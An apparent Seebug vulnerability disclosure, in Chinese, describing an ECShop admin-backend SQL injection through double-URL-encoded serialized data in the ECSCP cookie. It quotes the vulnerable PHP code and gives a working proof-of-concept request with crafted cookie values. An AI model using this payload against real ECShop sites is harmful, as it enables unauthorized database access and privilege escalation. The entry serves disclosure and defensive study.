ecshop最新版本后台所有功能块通用SQL注入(全版本亦可)

2013-05-30T00:00:00
ID SSV:93464
Type seebug
Reporter Root
Modified 2013-05-30T00:00:00

Description

简要描述:

后台的SQL注入,几乎所有的后台功能块都能用此方法注入,进入后台就可以用此提升下自己的权限了,当然,“进入后台”让这个漏洞鸡肋了,你懂的~~~

详细说明:

$filter = unserialize(urldecode($_COOKIE['ECSCP']['lastfilter'])); 这一句是核心,urldecode看到了么?所以啊,只要%27、%2527就能绕过init.php里对$_COOKIE的addslashes_deep了~~~ 两个地方: 1.订单详情

/admin/order.php //158行 $filter = unserialize(urldecode($_COOKIE['ECSCP']['lastfilter']));

2.后台几乎各功能块列表都会用到的get_filter()方法

/admin/includes/lib_main.php //718行 function get_filter($param_str = '') { $filterfile = basename(PHP_SELF, '.php'); if ($param_str) { $filterfile .= $param_str; } if (isset($_GET['uselastfilter']) && isset($_COOKIE['ECSCP']['lastfilterfile']) && $_COOKIE['ECSCP']['lastfilterfile'] == sprintf('%X', crc32($filterfile))) //这虽然麻烦,但可控制 { return array( 'filter' => unserialize(urldecode($_COOKIE['ECSCP']['lastfilter'])), //这里又见重点 'sql' => base64_decode($_COOKIE['ECSCP']['lastfiltersql']) ); } else { return false; } }

<img src="https://images.seebug.org/upload/201305/30233022d10958713f5b106401d355797dccc7ce.png" alt="1.png" width="600" onerror="javascript:errimg(this);">

看接下来的漏洞证明吧~~

漏洞证明:

订单详情的,这个好弄些

<img src="https://images.seebug.org/upload/201305/3023310777cdf89af7c3f60d64ba151bb60dcf95.png" alt="1.png" width="600" onerror="javascript:errimg(this);">

get_filter方法的,拿文章列表来测试,满足触发条件可能麻烦些,说个简单的方法,把条件“==”你控制不了的那一边echo输出出来,然后控制的那一边改一下就好了(我说的不绕口吧?)

<img src="https://images.seebug.org/upload/201305/302334289ae7ca285b303b50398031a86435b58e.png" alt="2.png" width="600" onerror="javascript:errimg(this);">

相关代码(文章列表的,供测试)

GET: http://localhost/test/ecshop/admin/article.php?is_ajax=1&uselastfilter=1 POST: act=query&keyword=&cat_id=0 COOKIE: ECSCP[lastfilterfile]=23A0E66; ECSCP[lastfilter]=a%253A1%253A%257Bs%253A5%253A%2522start%2522%253Bs%253A2%253A%25221%2527%2522%253B%257D; //cookie修改这两处

怎样,有了这个,还要再找后台SQL注入么?